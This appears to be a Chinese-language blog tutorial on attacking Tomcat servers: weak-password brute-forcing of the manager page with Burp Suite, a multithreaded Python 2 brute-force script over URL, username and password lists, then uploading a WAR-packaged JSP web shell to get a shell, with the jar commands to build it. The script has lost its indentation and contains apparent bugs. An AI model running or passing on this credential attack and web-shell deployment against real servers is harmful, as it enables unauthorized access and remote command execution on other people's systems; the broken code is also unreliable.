WEB中间件--tomcat爆破,burp和python脚本，getshell,war包

1.tomcat 用burpsuit进行弱口令爆破

先抓包





发送到inturder



payload type 选择custom iterater

第一个payload选用户名文件，第二个payload用 : 第三个选密码文件



设置base64加密，和去掉URL编码



开始攻击，得到用户名密码

2.用python脚本进行爆破

目前正在学习python，

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#by.really
import sys
import requests
import threading
import Queue
import time
import base64
import os
#headers = {'Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)'}
u=Queue.Queue()
p=Queue.Queue()
n=Queue.Queue()
#def urllist()
urls=open('url.txt','r')
def urllist():
for url in urls:
url=url.rstrip()
u.put(url)
def namelist():
names=open('name.txt','r')
for name in names:
name=name.rstrip()
n.put(name)

def passlist():
passwds=open('pass.txt','r')
for passwd in passwds:
passwd=passwd.rstrip()
p.put(passwd)

def weakpass(url):
namelist()
while not n.empty():
name =n.get()
#print name
passlist()
while not p.empty():
good()
#name = n.get()
passwd = p.get()
#print passwd
headers = {'Authorization': 'Basic %s==' % (base64.b64encode(name+':'+passwd))}
try:
r =requests.get(url,headers=headers,timeout=3)
#print r.status_code
if r.status_code==200:
print '[turn] ' +url+' '+name+':'+passwd
f = open('good.txt','a+')
f.write(url+' '+name+':'+passwd+'\n')
f.close()
else:
print '[false] ' + url+' '+name+':'+passwd
except:
print '[false] '  + url+' '+name+':'+passwd

def list():
while u.empty():
url = u.get()
weakpass(name,url)

def thread():
urllist()
tsk=[]
for i in open('url.txt').read().split('\n'):
i = i + '/manager/html'
t = threading.Thread(target=weakpass,args=(i,))
tsk.append(t)
for t in tsk:
t.start()
t.join(1)
#print "current has %d threads" % (threading.activeCount() - 1)
def good():
good_ = 0
for i in open('good.txt').read().split('\n'):
good_+=1
os.system('title "weakpass------good:%s"' % (good_))

if __name__=="__main__":
# alllist()
thread()

3.getshell

登录成功上传做好的war包，获得shell



成功

4.war包制作

jar -cf test.war cmd.jsp
jar -cf shell.war cmd1/*